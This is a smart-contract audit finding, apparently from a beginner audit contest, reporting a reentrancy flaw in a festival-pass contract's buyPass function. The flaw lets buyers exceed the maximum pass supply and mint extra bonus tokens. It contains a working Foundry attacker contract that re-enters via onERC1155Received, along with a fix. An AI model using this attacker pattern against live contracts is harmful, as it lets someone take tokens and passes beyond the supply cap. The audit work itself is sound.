Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy attack in `FestivalPass:buyPass` allows entrant to buy unlimited festival passes

Reentrancy attack in FestivalPass:buyPass allows entrant to buy unlimited festival passes

Description

  • FestivalPass:buyPass allows users to purchase passes by minting a new pass in exchange for the pass price.

  • FestivalPass:buyPass does not follow CEI and allows users to purchase more passes then the maximum supply. _mint makes an external call to send a freshly minted ERC1155 token to the caller and only after _mint is called is the passSupply[collectionId] updated

If the receiver of the token is a contract that implements the onERC1155Received function, the contract can call FestivalPass:buyPass again, allowing them to purchase as many passes as they want ignoring the max supply of the passes.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • High likelihood as reentrancy attacks like this are a known attack pattern and users may want additional passes/BeatTokens

Impact:

  • The passMaxSupply[collectionId] is ignored, allowing unlimited tickets to be purchased.

  • Also an unintended amount of BeatToken would be minted as bonus for any VIP or BACKSTAGE pass purchases from this exploit. Ex: for VIP tickets, normally only the maximum supply of tickets multiplied by the bonus would be minted in total: passMaxSupply[VIP_PASS] * 5e18. Since the maximum supply is bypassed, more bonus tokens are created.

Proof of Concept

  1. Attacker creates a contract with the onERC1155Received function that calls FestivalPass:buyPass

  2. Attacker repeatedly calls the FestivalPass:buyPass from the attack contract, purchasing more than the max supply of passes.

Place the following into FestivalPass.t.sol

import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
contract FestivalPassTest is Test {
...
function test_BuyPassReentrancy() public {
uint256 BACKSTAGE_PASS = 3;
// Configure pass with a maximum supply of 1
uint256 BACKSTAGE_NEW_MAX_SUPPLY = 1;
uint256 BACKSTAGE_OVERSUPPLY = BACKSTAGE_NEW_MAX_SUPPLY + 10;
vm.prank(organizer);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, BACKSTAGE_NEW_MAX_SUPPLY);
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, BACKSTAGE_PRICE * BACKSTAGE_OVERSUPPLY);
BuyPassReentrancyAttacker buyPassReentrancyAttacker = new BuyPassReentrancyAttacker(festivalPass);
uint256 startingBackstagePassTotal = festivalPass.passSupply(BACKSTAGE_PASS);
console.log("starting number of Backstage passes: ", startingBackstagePassTotal);
// Attack
vm.prank(attackUser);
buyPassReentrancyAttacker.attack{value: BACKSTAGE_PRICE * BACKSTAGE_OVERSUPPLY}();
uint256 endingBackstagePassTotal = festivalPass.passSupply(BACKSTAGE_PASS);
console.log("ending number of Backstage passes: ", endingBackstagePassTotal);
assertGt(endingBackstagePassTotal, BACKSTAGE_NEW_MAX_SUPPLY);
}
}
contract BuyPassReentrancyAttacker is ERC1155Holder {
FestivalPass festivalPass;
uint256 BACKSTAGE_PRICE;
uint256 BACKSTAGE_PASS = 3;
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
BACKSTAGE_PRICE = festivalPass.passPrice(BACKSTAGE_PASS);
}
function attack() public payable {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
function _attack() internal {
if (address(this).balance >= BACKSTAGE_PRICE) {
attack();
}
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
_attack();
return this.onERC1155Received.selector;
}
}

Recommended Mitigation

  • To prevent this, FestivalPass:buyPass should update ++passSupply[collectionId]; before the _mint function makes the external call. Also, the emission event should happen before the _mint function.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
+ ++passSupply[collectionId];
+ emit PassPurchased(msg.sender, collectionId);
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
- emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 27 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.